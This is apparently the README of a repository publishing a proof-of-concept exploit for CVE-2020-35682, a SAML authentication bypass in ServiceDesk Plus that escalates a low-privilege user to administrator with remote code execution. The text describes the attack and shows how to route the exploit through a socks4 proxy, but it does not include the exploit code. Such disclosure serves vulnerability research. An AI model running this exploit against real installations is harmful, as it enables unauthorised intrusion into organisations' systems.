its-arun/cve-2020-35682SD-91948: CVE-2020-35682: Authentication Bypass Vulnerability during SAML login in ServiceDesk Plus.
SD-91948: CVE-2020-35682: ServiceDesk Plus 中 SAML 登录期间的身份验证绕过漏洞。（如 ManageEngine 所述）。如果目标 ServiceDesk Plus (<11134) 安装已启用 SAML 登录，并且您拥有低权限用户的凭据，则可以将权限提升为管理员并获得 RCE。
我决定发布此概念验证（POC），因为既没有公开的利用程序，也没有太多关于该漏洞利用的描述。代码虽然有些混乱，但可以工作。

代理可以在 exploit.py 的第 9 行按以下格式定义
proxies = {'http': 'socks4://127.0.0.1:9050','https': 'socks4://127.0.0.1:9050'}
或者，如果您不想编辑源代码，可以将代理设置为环境变量
export HTTP_PROXY="socks4://127.0.0.1:9050"
export HTTPS_PROXY="socks4://127.0.0.1:9050"
运行利用工具后，请确保取消设置这些变量。
unset HTTP_PROXY HTTPS_PROXY
